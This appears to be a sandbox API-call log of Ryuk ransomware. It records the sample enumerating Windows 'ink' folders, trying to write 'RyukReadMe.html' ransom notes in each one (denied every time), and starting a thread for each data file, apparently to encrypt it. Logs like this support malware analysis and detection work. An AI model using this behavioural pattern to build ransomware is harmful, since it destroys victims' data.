	[0129.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.103] GetLastError () returned 0x5
	[0129.103] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0129.103] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.104] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0129.104] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0129.104] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0129.104] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0129.104] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0129.105] SetLastError (dwErrCode=0x0) 
	[0129.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.105] GetLastError () returned 0x5
	[0129.105] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0129.105] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.105] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0129.105] SetLastError (dwErrCode=0x0) 
	[0129.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.106] GetLastError () returned 0x5
	[0129.106] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0129.106] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0129.107] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0129.107] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0129.107] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0129.107] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0129.107] SetLastError (dwErrCode=0x0) 
	[0129.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.107] GetLastError () returned 0x5
	[0129.107] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0129.107] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.108] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0129.108] SetLastError (dwErrCode=0x0) 
	[0129.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.108] GetLastError () returned 0x5
	[0129.108] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0129.108] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0129.109] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0129.109] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0129.109] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0129.109] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0129.109] SetLastError (dwErrCode=0x0) 
	[0129.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.110] GetLastError () returned 0x5
	[0129.110] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0129.110] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.110] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1
	[0129.110] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c
	[0129.112] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.112] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1
	[0129.112] SetLastError (dwErrCode=0x0) 
	[0129.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.113] GetLastError () returned 0x5
	[0129.113] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0129.113] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0129.114] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0129.114] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0129.115] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0129.115] SetLastError (dwErrCode=0x0) 
	[0129.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.115] GetLastError () returned 0x5
	[0129.115] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0129.115] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.115] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1
	[0129.115] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0
	[0129.118] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.118] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1
	[0129.119] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394
	[0129.121] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.121] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1
	[0129.121] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8
	[0129.123] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.123] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1
	[0129.123] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c
	[0129.125] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.126] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1
	[0129.126] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0
	[0129.391] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.392] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1
	[0129.392] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac
	[0129.393] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.394] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1
	[0129.394] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8
	[0129.395] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.395] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x7c, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1
	[0129.395] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x7c, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1
	[0129.395] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1
